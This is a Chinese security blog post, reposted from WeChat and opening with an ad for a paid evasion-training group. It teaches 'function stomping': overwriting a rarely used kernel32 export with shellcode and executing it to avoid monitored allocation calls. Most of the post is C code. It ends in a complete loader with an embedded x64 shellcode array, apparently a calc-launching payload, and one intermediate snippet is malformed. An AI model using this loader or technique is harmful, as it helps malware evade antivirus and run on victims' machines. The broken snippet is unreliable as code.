欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新74+ PDF文档
加好友备注(星球)!!!
简介
本地函数篡改注入指的是通过篡改或替代代码中的本地函数,来达到执行任意代码或修改程序行为的目的,这种方式避免了我们使用VirtualAlloc等高度监视的函数。就和我们上上节课讲的映射注入一样,通过将文件映射对象映射到内存,然后创建一个线程去执行其shellcode内存区域执行。
选择相应的函数
如果我们要来篡改一个API函数的话,我们首先要想到的是这个函数是不是经常使用的,如果是一个经常使用的函数,我们将其如果篡改了,那么可能会造成进程崩溃等问题,所以我们一般不会篡改ntdll.dll kernelbase.dll等模块的导出函数。
我们尽可能的去找一些用的很少的函数。
如下列举出很少使用的API函数。
Wow64DisableWow64FsRedirection
描述:该函数用于禁用当前线程的WOW64文件系统重定向。
所在DLL:Kernel32.dll
GetNamedPipeClientProcessId
描述:该函数返回连接到命名管道的客户端进程的进程标识符(PID)。
所在DLL:Kernel32.dll
SetThreadStackGuarantee
描述:设置保证给线程的栈大小。
所在DLL:Kernel32.dll
GetSystemTimes
描述:检索系统的空闲时间、内核时间和用户时间。
所在DLL:Kernel32.dll
GdiFlush
描述:强制 GDI 刷新其批处理队列。
所在DLL:Gdi32.dll
SHGetPropertyStoreForWindow
描述:获取与指定窗口关联的属性存储。
所在DLL:Shell32.dll
篡改函数示例
那么我们如何去篡改目标函数呢?
这里我们选择Wow64DisableWow64FsRedirection函数,这个函数是从kernel32.dll中导出的,因为进程会默认加载kernel32.dll,所以这里就不需要使用LoadLibrary去加载DLL了,所以直接使用GetModuleHandle来获取即可。
// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
int main()
{
PVOID pAddress = NULL;
HMODULE hm = GetModuleHandleA("kernel32.dll");
pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
printf("1231231321");
}
现在我们已经获取到了要篡改的目标函数了。
然后我们需要使用VirtualProtect将目标函数的内存区域更改为可读可写的权限,然后将其shellcode写入到该内存区域。
// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main()
{
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
HMODULE hm = GetModuleHandleA("kernel32.dll");
pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
printf("1231231321");
}
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
// Func_Test.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <stdio.h>
#include <Windows.h>
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int main()
{
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
HANDLE hthread = NULL;
HMODULE hm = GetModuleHandleA("kernel32.dll");
pAddress = GetProcAddress(hm, "Wow64DisableWow64FsRedirection");
VirtualProtect(pAddress, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(pAddress, shellcode, sizeof(shellcode));
VirtualProtect(pAddress, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
hthread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hthread != NULL)
WaitForSingleObject(hthread, INFINITE);
printf("1231231321");
}
原文始发于微信公众号(Relay学安全):函数篡改注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论